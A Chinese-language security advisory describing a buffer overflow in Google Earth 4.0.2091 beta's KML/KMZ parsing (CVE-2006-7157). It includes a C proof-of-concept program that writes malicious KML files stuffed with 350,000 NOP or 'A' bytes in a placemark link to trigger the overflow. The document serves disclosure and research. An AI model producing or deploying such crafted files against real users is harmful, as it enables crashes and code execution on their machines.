Google Earth KML/KMZ文件处理缓冲区溢出漏洞
发布日期:2006-10-10
更新日期:2006-10-13
受影响系统:Google Google Earth (beta) 4.0.2091(beta)
描述:
BUGTRAQ ID:
20464
CVE(CAN) ID:
CVE-2006-7157
Google Earth是Google推出的用于查看卫星地图的客户端工具。
Google Earth在处理解析地标文件时存在漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意指令。
KML和KMZ文件都是Google Earth中所使用的地标文件。如果用户受骗打开了恶意的KML或KMZ文件的话,就会触发缓冲区溢出,导致执行任意指令。
<*来源:Aleksander Hristov (
root@securitydot.net)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
///////////////////////////////////////////////
// Google Earth (kml & kmz files) buffer overflow
// by JAAScois [
http://www[dot]jaascois[dot]com ]
// Test on: Google Earth v4.0.2091(beta) Sep 14 2006
///////////////////////////////////////////////
#include <stdio.h>
#include <string.h>
char xmlHdr[]="<?xml version=\'1.0\'
encoding=\'UTF-8\'?>\n<kml
xmlns=\'
http://earth.google.com/kml/2.1\'>\n<Placemark><name>By:
JAAScois[dot]com</name><Model><Link><href>";
char
xmlHdr2[]="</href></Link></Model></Placemark></kml>";
int main(int argc, char* argv[])
{
FILE *Gkml;
FILE *GkmlX;
int i;
unsigned char nop;
printf("Google Earth (kml & kmz files) buffer overflow \n");
printf(" by JAAScois [
http://www[dot]jaascois[dot]com ]\n");
// Gkml.kml
Gkml=fopen("Gkml.kml","w+b");
if(Gkml==NULL){
printf("-Error: fopen \n");
return 0;
}
fwrite(xmlHdr,strlen(xmlHdr),1,Gkml);
nop=0x90;
for(i=0;i<350000;i++){
fwrite(&nop,1,1,Gkml);
}
fwrite(xmlHdr2,strlen(xmlHdr2),1,Gkml);
fclose (Gkml);
// GkmlX.kml
GkmlX=fopen("GkmlX.kml","w+b");
if(GkmlX==NULL){
printf("-Error: fopen \n");
return 0;
}
fwrite(xmlHdr,strlen(xmlHdr),1,GkmlX);
nop=0x41;
for(i=0;i<350000;i++){
fwrite(&nop,1,1,GkmlX);
}
fwrite(xmlHdr2,strlen(xmlHdr2),1,GkmlX);
fclose (GkmlX);
printf("- Created file: Gkml.kml ...OK\n");
return 0;
}
建议:
厂商补丁:
Google
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.google.com浏览次数:4695
严重程度:0(网友投票)